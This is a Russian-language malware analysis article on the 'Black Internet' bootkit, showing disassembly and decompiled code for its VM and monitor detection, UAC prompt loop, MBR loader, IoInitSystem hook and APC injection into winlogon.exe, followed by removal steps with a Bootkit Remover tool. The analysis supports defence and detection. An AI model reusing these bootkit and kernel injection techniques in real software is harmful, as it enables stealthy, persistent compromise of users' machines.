Инсталлятор буткита (MD5: e35310220715287c5765b273a1797836, размер файла около 1.2 мБ) защищён неизвестным шифровщиком. В коде расшифровки реализовано определение виртуальных машин VMware по факту присутствия характерного для них «черного хода»:

.text:004010A8                 push    401113h ; Адрес SEH-обработчика исключений
.text:004010AD                 push    large dword ptr fs:0
.text:004010B4                 push    eax
.text:004010B5                 mov     eax, 337h
.text:004010BA                 pop     eax
.text:004010BB                 mov     large fs:0, esp
.text:004010C2                 mov     eax, 564D5868h ; 'VMXh' - магическая константа
.text:004010C7                 mov     ebx, 0
.text:004010CC                 mov     ecx, 0Ah
.text:004010D1                 xchg    eax, ebx
.text:004010D2                 push    ebx
.text:004010D3                 push    eax
.text:004010D4                 pop     ebx
.text:004010D5                 pop     eax
.text:004010D6                 mov     edx, 5658h ; Номер порта ввода-вывода VMware backdoor
.text:004010DB                 in      eax, dx    ; Чтение данных из порта.
                                                  ; На обычном компьютере (не виртуальном) 
                                                  ; эта инструкция сгенерирует исключение

Для того, чтобы обойти данный механизм самозащиты буткита, достаточно добавить в конец файла конфигурации VMware (.vmx) строку, отключающую функцию «VMWare backdoor»:

monitor_control.restrict_backdoor = "TRUE"

Также установщик буткита обнаруживает факт своего исполнения с ограниченными привилегиями при помощи вызова функции GetTokenInformation() с параметром TokenElevation. В случае запуска под UAC установщик перезапускает свой процесс в цикле. Таким образом, пользователь будет получать предупреждения системы безопасности до тех пор, пока не подтвердит разрешение запуска процесса инсталлятора буткита с максимальными привилегиями.

  // Проверка версии ОС на предмет запуска под Windows Vista и выше
  GetVersionExW(&VersionInformation);
  if (VersionInformation.dwMajorVersion >= 6)
  {
      v4 = GetCurrentProcess();
      if (!OpenProcessToken(v4, 0x20008u, &TokenHandle) ||
          !GetTokenInformation(TokenHandle, TokenElevation, &TokenInformation, 4u, &ReturnLength))
          return 0;

      if (!TokenInformation)
      {
          // Текущий процесс был запущен с ограниценными привилегиями
          if (GetModuleFileNameW(0, &Filename, 0x104u))
          {
              ExecInfo.cbSize = 60;
              ExecInfo.fMask = 0;
              ExecInfo.hwnd = 0;
              ExecInfo.lpVerb = L"runas";
              ExecInfo.lpFile = &Filename;
              ExecInfo.lpParameters = 0;
              ExecInfo.lpDirectory = 0;
              ExecInfo.nShow = 0;
              ExecInfo.hInstApp = 0;

              // Запуск ещё одного экземпляра процесса
              while (!ShellExecuteExW(&ExecInfo));
          }

          return 0;
      }
  }
Предупреждение UAC при запуске установщика

Предупреждение UAC при запуске установщика

В заключение, непосредственно перед записью загрузочного кода на диск установщик ищет активную утилиту Process Monitor по характерному для неё значению оконного класса:

.text:00402835 sub_402835      proc near
.text:00402835                 push    0                ; lpWindowName
.text:00402837                 push    offset ClassName ; "PROCMON_WINDOW_CLASS"
.text:0040283C                 call    ds:FindWindowW
.text:00402842                 neg     eax
.text:00402844                 sbb     eax, eax
.text:00402846                 neg     eax
.text:00402848                 retn
.text:00402848 sub_402835      endp

Загрузочный код

Одной из отличительных особенностей буткита Black Internet является то, что свои компоненты он хранит не в первых 63 секторах (обычно именно такое количество свободного пространства присутствует перед началом первого раздела диска), а в неразмеченной области, следующей за последним разделом:

"CreateFile", "\Device\Harddisk0\DR0", "Desired Access: Generic Read/Write, Disposition: Open"
"ReadFile",   "\Device\Harddisk0\DR0", "Offset: 0, Length: 512"
"DeviceIoControl", "\Device\Harddisk0\DR0", "Control: IOCTL_DISK_GET_LENGTH_INFO"
"ReadFile",   "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512"
"WriteFile",  "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512"
"ReadFile",   "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512"
"WriteFile",  "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512"
"WriteFile",  "\Device\Harddisk0\DR0", "Offset: 3,216,344,064, Length: 43,520"
"ReadFile",   "\Device\Harddisk0\DR0", "Offset: 0, Length: 512"
"ReadFile",   "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512"
"ReadFile",   "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512"
"WriteFile",  "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512"
"WriteFile",  "\Device\Harddisk0\DR0", "Offset: 3,216,310,784, Length: 512"
"WriteFile",  "\Device\Harddisk0\DR0", "Offset: 0, Length: 512"
"ReadFile",   "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512"
"WriteFile",  "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512"
"WriteFile",  "\Device\Harddisk0\DR0", "Offset: 3,216,311,296, Length: 32,768"
"ReadFile",   "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512"
"WriteFile",  "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512"
"WriteFile",  "\Device\Harddisk0\DR0", "Offset: 3,216,387,584, Length: 9,216"
"ReadFile",   "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512"
"WriteFile",  "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512"
"WriteFile",  "\Device\Harddisk0\DR0", "Offset: 3,216,396,800, Length: 25,088"
"ReadFile",   "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512"
"WriteFile",  "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512"
"WriteFile",  "\Device\Harddisk0\DR0", "Offset: 3,216,421,888, Length: 31,232"
"ReadFile",   "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512"
"WriteFile",  "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512"
"WriteFile",  "\Device\Harddisk0\DR0", "Offset: 3,216,453,120, Length: 512"
"CloseFile",  "\Device\Harddisk0\DR0"

Загрузочный сектор буткита узнаёт месторасположение этой неразмеченной области при разборе таблицы разделов, находящейся в MBR, после чего выполняет чтение 64 секторов, в которых хранятся остальные компоненты буткита.

seg000:001F                 xor     eax, eax
seg000:0022                 mov     si, 7BEh      ; si - указатель на таблицу разделов
seg000:0025                 mov     cl, 4         ; Количество записей в таблице разделов
                
                            ...
seg000:0031 loc_31:
seg000:0031                 cmp     [si+8], eax
seg000:0035                 jb      short loc_3F
seg000:0037                 mov     eax, [si+8]   ; Помещаем в eax номер первого сектора раздела
seg000:003B                 add     eax, [si+0Ch] ; Суммируем с размером раздела в секторах
seg000:003F loc_3F:
seg000:003F                 add     si, 10h
seg000:0042                 loop    loc_31        ; Переход к следующей записи в таблице разделов
seg000:0044                 or      eax, eax
seg000:0047                 jz      short loc_5F
seg000:0049                 add     eax, 2        ; Сектор, начиная с которого необходимо выполнить чтение
seg000:004D                 mov     cx, 40h       ; Количество считываемых секторов
seg000:0050                 mov     bx, 7C00h     ; Адрес памяти для записи считанных данных
seg000:0053                 call    sub_A1        ; Функция, выполняющая чтение данных с использованием
                                                  ; прерывания 13h (AH=42h)
seg000:0056                 jb      short loc_5F
seg000:0058                 nop
seg000:0059                 nop
seg000:005A                 jmp     far ptr 0:7C00h ; Передача управления прочитанному коду

Затем буткит выполняет ряд стандартных действий, которые были подробно рассмотрены при анализе двух предыдущих вредоносных программ:

  1. Резервирование 4 кБ базовой памяти.
  2. Перехват прерывания 13h.
  3. Сигнатурный поиск и модификацию кода OSLOADER.EXE в обработчике int 13h.
  4. Считывание и исполнение загрузочного кода системного раздела.

Код защищённого режима

Рассмотрим код буткита защищённого режима, вызываемый из модифицированного модуля OSLOADER.EXE.

Действия кода защищённого режима буткита сводятся к инициализации загрузчика драйвера режима ядра. Для этого выполняются следующие операции:

  1. Сигнатурный анализ функции nt!Phase1Initialization() и выявление в ней точки вызова функции nt!IoInitSystem().
  2. Замена вызова nt!IoInitSystem() вызовом загрузчика драйвера буткита.
  3. Копирование кода загрузчика в область памяти непосредственно за ядром операционной системы.

Адрес структуры _BlLoaderBlock, в которой содержится указатель на список загруженных модулей, ищется методом сигнатурного анализа кода OSLOADER.EXE так же, как это реализовано в бутките Alipop.

seg001:000069D4                 sub     dword ptr [esp], 6
seg001:000069D8                 call    sub_6BB4           ; Получение адреса загрузчика драйвера 
                                                           ; (сохраняется в esi)
seg001:000069DD                 mov     ecx, 6
seg001:000069E2                 rep movsb
seg001:000069E4                 sub     esi, 6
seg001:000069E7                 mov     edi, [esp+2Ch]
seg001:000069EB                 and     edi, 0FFF00000h
seg001:000069F1                 mov     al, 0C7h           ; Сигнатурный поиск _BlLoaderBlock
seg001:000069F3 loc_69F3:
seg001:000069F3                 scasb
seg001:000069F4                 jnz     short loc_69F3
seg001:000069F6                 cmp     dword ptr [edi], 40003446h
seg001:000069FC                 jnz     short loc_69F3
seg001:000069FE loc_69FE:
seg001:000069FE                 mov     al, 0A1h
seg001:00006A00                 scasb
seg001:00006A01                 jnz     short loc_69FE
seg001:00006A03                 mov     eax, [edi]         ; eax - указатель на _BlLoaderBlock
seg001:00006A05                 mov     eax, [eax]
seg001:00006A07                 mov     eax, [eax]         ; eax - _LDR_DATA_TABLE_ENTRY для ядра
seg001:00006A09                 mov     edi, [eax+18h]     ; edi - Адрес загрузки ядра
seg001:00006A0C                 mov     ecx, [edi+3Ch]
seg001:00006A0F                 mov     ecx, [ecx+edi+50h] ; ecx - размер образа ядра (SizeOfImage)
seg001:00006A13                 call    sub_6B3D           ; Поиск вызова nt!IoInitSystem() в коде nt!Phase1Initialization()
                                                           ; (сохраняется в edx)
seg001:00006A18                 jnz     short loc_6A66
seg001:00006A1A                 mov     edx, [ebx]         ; Перемещение оригинальной инструкции call nt!IoInitSystem()
seg001:00006A1C                 lea     edx, [ebx+edx+4]
seg001:00006A20                 mov     [esi+0Ah], edx
seg001:00006A23                 add     edi, ecx
seg001:00006A25                 jmp     short loc_6A36

                                ...
seg001:00006A36 loc_6A36:
seg001:00006A36                 add     edi, 0FFFh
seg001:00006A3C                 and     edi, 0FFFFF000h
seg001:00006A42                 sub     edi, 800h
seg001:00006A48                 mov     ecx, 6A3h
seg001:00006A4D                 push    edi
seg001:00006A4E                 rep movsb                  ; Копирование загрузчика драйвера в область памяти,
                                                           ; следующую за ядром ОС
seg001:00006A50                 pop     edi
seg001:00006A51                 add     edi, 0Eh
seg001:00006A54                 sub     edi, ebx
seg001:00006A56                 sub     edi, 4
seg001:00006A59                 mov     [ebx], edi         ; Модификация вызова nt!IoInitSystem()
seg001:00006A5B                 xchg    esi, edi
seg001:00006A5D                 mov     ecx, 644h
seg001:00006A62                 sub     edi, ecx
seg001:00006A64                 rep stosb

В предыдущем листинге приведен алгоритм установки перехватчика функции IoInitSystem(). Рассмотрим, как выглядит сам перехват.

Код функции nt!Phase1Initialization() до модификации:

nt!Phase1Initialization+0x9a1:
80685fc9 6a4b            push    4Bh
80685fcb 6a19            push    19h
80685fcd e83877e6ff      call    nt!InbvSetProgressBarSubset
80685fd2 ffb590fbffff    push    dword ptr [ebp-470h]
80685fd8 e859140000      call    nt!IoInitSystem
80685fdd 84c0            test    al,al

Код функции nt!Phase1Initialization() после модификации:

nt!Phase1Initialization+0x9a1:
80685fc9 6a4b            push    4Bh
80685fcb 6a19            push    19h
80685fcd e83877e6ff      call    nt!InbvSetProgressBarSubset
80685fd2 ffb590fbffff    push    dword ptr [ebp-470h]
80685fd8 e831980400      call    806cf80e
80685fdd 84c0            test    al,al

Загрузчик драйвера

Загрузчик драйвера режима ядра выполняет следующие действия:

  1. Восстановление оригинального вызова nt!IoInitSystem() в коде функции nt!Phase1Initialization().
  2. Вызов nt!IoInitSystem() с повторной передачей управления в загрузчик драйвера через подменённый адрес возврата на стеке.
  3. Поиск адреса загрузки ядра ОС по первому вектору в таблице прерываний, адрес которой получается с помощью инструкции процессора sidt.
  4. Сигнатурный поиск адреса глобальной переменной ядра nt!PsLoadedModuleList, которая представляет собой список загруженных модулей режима ядра. В частности, адрес nt!PsLoadedModuleList извлекается из ссылки на эту переменную в коде неэкспортируемой функции nt!IopWriteDriverList().
  5. Получение по хэшам от имён адресов следующих экспортируемых функций и переменных ядра: ExAllocatePool, ExFreePool, KeLoaderBlock, NtClose, NtCreateFile, NtReadFile.
  6. Считывание драйвера режима ядра из неразмеченной области в конце диска.
  7. Настройка исполняемого образа драйвера и передача управления его точке входа.
  8. Возврат управления в nt!Phase1Initialization().

Драйвер и «полезная нагрузка»

Драйвер буткита служит для внедрения кода пользовательского режима в процесс winlogon.exe. Для этого он создаёт системный поток, который циклически опрашивает список процессов путём анализа двусвязных списков структур ядра _EPROCESS и выполняет поиск требуемого процесса по имени исполняемого файла. Смещения нужных полей для структур _EPROCESS и _ETHREAD хранятся в глобальных переменных, значения которых инициализируются в зависимости от версии ядра операционной системы. Значение версии ядра может быть получено с помощью функций PsGetVersion() и RtlGetVersion(). Ниже приведен псевдокод функции, выполняющей поиск процесса по имени.

  // функция, выполняющая поиск процесса по имени (возвращает указатели на _EPROCESS и _ETHREAD)
  signed int __stdcall sub_113EC(const char *ProcessName, int a2, int a3)
  {
      int ProcessEntry; // esi@1
      PEPROCESS CurrentProcess; // eax@1
      int ThreadListStart; // edi@8
      int ThreadEntry; // esi@8
      int Thread; // eax@9
      unsigned int Teb; // eax@12
      int ProcessListStart; // [sp+18h] [bp+Ch]@1

      *(_DWORD *)a2 = 0;
      *(_DWORD *)a3 = 0;

      // получение указателя на список активных процессов из структуры _EPROCESS текущего процесса
      CurrentProcess = IoGetCurrentProcess();
      ProcessEntry = (int)((char *)CurrentProcess + EPROCESS_ActiveProcessLinks);
      ProcessListStart = (int)((char *)CurrentProcess + EPROCESS_ActiveProcessLinks);

      // перечисление всех активных процессов и поиск требуемого исполняемого файла по имени
      while (!*(_BYTE *)(ProcessEntry + EPROCESS_ImageFileName) ||
             stricmp(ProcessName, (const char *)(ProcessEntry + EPROCESS_ImageFileName)))
      {
          ProcessEntry = *(_DWORD *)ProcessEntry;
          if (ProcessListStart == ProcessEntry)
          {
              // это последняя запись в списке (нужный процесс не найден)
              goto LABEL_7;
          }
      }

      *(_DWORD *)a2 = ProcessEntry - EPROCESS_ActiveProcessLinks;

  LABEL_7:
      if (*(_DWORD *)a2)
      {
          // получение указателя на список потоков найденного процесса
          ThreadEntry = *(_DWORD *)(EPROCESS_ThreadListHead + ProcessEntry);
          ThreadListStart = ThreadEntry;

          // перечисление всех потоков процесса
          do
          {
              Thread = ThreadEntry - ETHREAD_ThreadListEntry;
              *(_DWORD *)a3 = ThreadEntry - ETHREAD_ThreadListEntry;
              if (byte_136C0)
              {
                 // проверка целостности блока окружения потока (_TEB)
                 Teb = *(_DWORD *)(Thread + 0x20);
                 if (Teb && Teb < (unsigned int)MmSystemRangeStart)
                     return 1;
              }
              else
              {
                  // поток не должен являться системным
                  if (!PsIsSystemThread(Thread))
                      return 1;
              }
              ThreadEntry = *(_DWORD *)ThreadEntry;
          }
          while (ThreadEntry != ThreadListStart);
      }

      return 0;
  }

После получения указателей на нужный процесс и его действительный поток, драйвер режима ядра выполняет чтение кода пользовательского режима из неразмеченной области диска и его внедрение в процесс winlogon.exe.

signed int __stdcall sub_114B2(int Thread, int Process)
{
    signed int result; // eax@2
    char Apc; // [sp+4h] [bp-68h]@8
    char ApcState; // [sp+34h] [bp-38h]@7
    LARGE_INTEGER Timeout; // [sp+4Ch] [bp-20h]@9
    int v7; // [sp+54h] [bp-18h]@5
    void *Payload; // [sp+58h] [bp-14h]@4
    ULONG AllocationSize; // [sp+5Ch] [bp-10h]@4
    PVOID BaseAddress; // [sp+60h] [bp-Ch]@1
    HANDLE EventHandle; // [sp+64h] [bp-8h]@1
    HANDLE Handle; // [sp+68h] [bp-4h]@1

    BaseAddress = 0;
    EventHandle = 0;
    Handle = 0;

    // получение дескриптора процесса по указателю на _EPROCESS
    if (ObOpenObjectByPointer(Process, 512, 0, 0, PsProcessType, 0, &Handle) < 0)
        return 0;
    
    if (byte_13709 == 4)
    {
        // чтение кода пользовательского режима с диска
        if (sub_11ACE(FileHandle, dword_136CC, &byte_1370A, (int)&Payload, (int)&AllocationSize) != 2)
        {
            ZwClose(Handle);
            return 0;
        }
    }
    else
    {
        AllocationSize = 1700;
        Payload = &unk_13000;
    }

    v7 = 0x24Eu;
    // выделение виртуальной памяти в адресном пространстве процесса
    if (ZwAllocateVirtualMemory(Handle, &BaseAddress, 0, &AllocationSize, 4096u, 64u) < 0 ||
        ZwAllocateVirtualMemory(Handle, &BaseAddress, 0, (PULONG)&v7, 0x1000u, 04u) < 0)
    {
         ZwClose(Handle);
         result = 0;
    }
    else
    {
        ZwClose(Handle);

        // подключение к адресному пространству целевого процесса
        KeStackAttachProcess(Process, &ApcState);
        if (ZwCreateEvent(&EventHandle, 0x1F0003u, 0, SynchronizationEvent, 0) >= 0)
        {
            dword_13704 = (int)EventHandle;
            dword_1380E = 0;
            dword_1392A = 0;
            dword_1392E = 0;

            memcpy(BaseAddress, Payload, AllocationSize);
            memcpy(BaseAddress, &unk_13700, 0x24Cu);
            *((_WORD *)BaseAddress + 294) = *((_WORD *)&unk_13700 + 294);

            // инициализация APC для существующего потока целевого процесса
            KeInitializeApc(&Apc, Thread, 2, sub_11498, 0, BaseAddress, 1, 0);
            
            // запуск APC и исполнение внедренного в процесс кода
            if ((unsigned __int8)KeInsertQueueApc(&Apc, 0, 0, 0))
            {
                // Установка KTHREAD::ApcState.UserApcPending в TRUE
                *(_BYTE *)(KTHREAD_ApcState + Thread + 0x16) = 1;
                Timeout.HighPart = -1;
                Timeout.LowPart = -300000000;

                // ожидание завершения APC
                ZwWaitForSingleObject(EventHandle, 0, &Timeout);
            }

            // отключение от адресного пространства целевого процесса
            KeUnstackDetachProcess(&ApcState);
        }

        if (EventHandle)
            ZwClose(EventHandle);

        result = 1;
    }

    return result;
}

Назначение кода пользовательского режима — запуск троянского процесса с «полезной нагрузкой». Соответствующий модуль хранится в файле C:\System Volume Information\Microsoft\services.exe, который создаётся установщиком на этапе инсталляции буткита в систему.

Троянский процесс, в свою очередь, является «кликером»: после запроса конфигурации с сайта www.weathertalkz.com он осуществляет множественные переходы по рекламным баннерам в контексте процесса браузера Internet Explorer, работающего со скрытым окном.

Запрос конфигурации с www.weathertalkz.com

Запрос конфигурации с www.weathertalkz.com

Лечение заражения

Для лечения активного заражения буткитами мы разработали утилиту Bootkit Remover, актуальную и на сегодняшний день. При запуске из командной строки без параметров она производит проверку загрузочного кода для всех физических накопителей. Возможны следующие результаты проверки:

Bootkit Remover

Bootkit Remover

Для восстановления оригинального загрузочного кода Windows утилиту необходимо запускать со следующими параметрами:

> remover.exe fix <device>

Где <device> — это имя устройства физического накопителя, на котором требуется восстановить загрузочный код (например, \\.\PhysicalDrive0).

Для вывода загрузочного кода в консоль или в файл используется команда dump:

> remover.exe dump <device> [output_file]

Так как рассмотренные в данной статье буткиты определяются утилитой как «Unknown boot code», анализ системы с таким результатом проверки необходимо производить в несколько шагов:

Целевая вредоносная программа разрабатывается на заказ, вследствие чего существует не более чем в нескольких экземплярах и не опознается антивирусами.

  1. Если в исследуемой системе нет программ, которые могли бы модифицировать MBR — вердикт «Unknown boot code» является поводом для подозрений на заражение буткитом.
  2. Необходимо сделать дамп загрузочного кода и проверить его в онлайн-сервисе VirusTotal: если буткит не целевой, то его загрузочный код с большой долей вероятности будет опознан антивирусами.
  3. Если код не был опознан, то нужно установить программу нестандартного загрузчика, предположительно модифицировавшую MBR, в заведомо чистую операционную систему, и побайтово сравнить полученный с неё дамп загрузочного сектора с дампом, полученным с проверяемой системы.
  4. В случае необходимости восстановить оригинальную MBR.

Список литературы

  1. Дмитрий Олексюк. Анализ и обнаружение буткита Sinowal.
  2. Derek Soeder, Ryan Permeh. eEye BootRoot: A Basis for Bootstrap-Based Windows Kernel Code.
  3. QEMU Emulator User Documentation. 3.11 GDB usage.
  4. Using IDA's GDB debugger with QEMU emulator.
  5. Дмитрий Олексюк. Уязвимости в драйверах режима ядра для Windows.
  6. Symantec Security Response. Trojan.Mebratix.B — the Ghost in MBR.

Last updated: 17.03.2012